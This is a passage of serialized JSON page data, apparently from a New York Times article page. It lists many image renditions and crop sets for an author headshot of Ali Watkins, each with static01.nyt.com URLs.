Rendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog427.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog427.png","name":"blog427","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagSF.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-tmagSF.png","name":"tmagSF","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagArticle.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-tmagArticle.png","name":"tmagArticle","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-slide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-slide.png","name":"slide","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-jumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-jumbo.png","name":"jumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-superJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-superJumbo.png","name":"superJumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog225.png","name":"blog225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master675.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master675.png","name":"master675","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master495.png","name":"master495","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master180.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master180.png","name":"master180","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master315.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master315.png","name":"master315","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master768.png","name":"master768","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-popup.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog533.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog427.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagSF.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagArticle.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-slide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-jumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-superJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master675.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master180.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master315.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master768.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbStandard.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbStandard.png","name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blogSmallThumb.png","name":"blogSmallThumb","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbLarge.png","name":"thumbLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare168.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-smallSquare168.png","name":"smallSquare168","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-smallSquare252.png","name":"smallSquare252","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbStandard.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare168.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare252.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square320.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-square320.png","name":"square320","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-moth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-moth.png","name":"moth","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-filmstrip.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-filmstrip.png","name":"filmstrip","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square640.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-square640.png","name":"square640","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumSquare149.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumSquare149.png","name":"mediumSquare149","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.2":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square320.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-moth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-filmstrip.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square640.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumSquare149.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-sfSpan.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-sfSpan.png","name":"sfSpan","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontal375.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeHorizontal375.png","name":"largeHorizontal375","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontalJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeHorizontalJumbo.png","name":"largeHorizontalJumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-horizontalMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-horizontalMediumAt2X.png","name":"horizontalMediumAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.3":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-sfSpan.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontal375.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontalJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-horizontalMediumAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-hpLarge.png","name":"hpLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen573.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeWidescreen573.png","name":"largeWidescreen573","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen1050.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeWidescreen1050.png","name":"largeWidescreen1050","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.4":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen573.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen1050.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbWide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbWide.png","name":"thumbWide","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoThumb.png","name":"videoThumb","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoLarge.png","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo210.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo210.png","name":"mediumThreeByTwo210","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo225.png","name":"mediumThreeByTwo225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo440.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo440.png","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo252.png","name":"mediumThreeByTwo252","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo378.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo378.png","name":"mediumThreeByTwo378","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoLargeAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoLargeAt2X.png","name":"threeByTwoLargeAt2X","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoMediumAt2X.png","name":"threeByTwoMediumAt2X","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoSmallAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoSmallAt2X.png","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.5":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbWide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo210.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo440.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo252.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo378.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoLargeAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoMediumAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoSmallAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-articleInline.png","name":"articleInline","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-hpSmall.png","name":"hpSmall","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blogSmallInline.png","name":"blogSmallInline","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumFlexible177.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumFlexible177.png","name":"mediumFlexible177","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.6":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumFlexible177.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSmall.png","name":"videoSmall","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoHpMedium.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoHpMedium.png","name":"videoHpMedium","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine600.png","name":"videoSixteenByNine600","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine540.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine540.png","name":"videoSixteenByNine540","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine495.png","name":"videoSixteenByNine495","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine390.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine390.png","name":"videoSixteenByNine390","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine1050.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine1050.png","name":"videoSixteenByNine1050","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine480.png","name":"videoSixteenByNine480","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine310.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine310.png","name":"videoSixteenByNine310","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine225.png","name":"videoSixteenByNine225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine96.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine96.png","name":"videoSixteenByNine96","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine768.png","name":"videoSixteenByNine768","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine150.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine150.png","name":"videoSixteenByNine150","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNineJumbo1600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNineJumbo1600.png","name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.7":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoHpMedium.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-al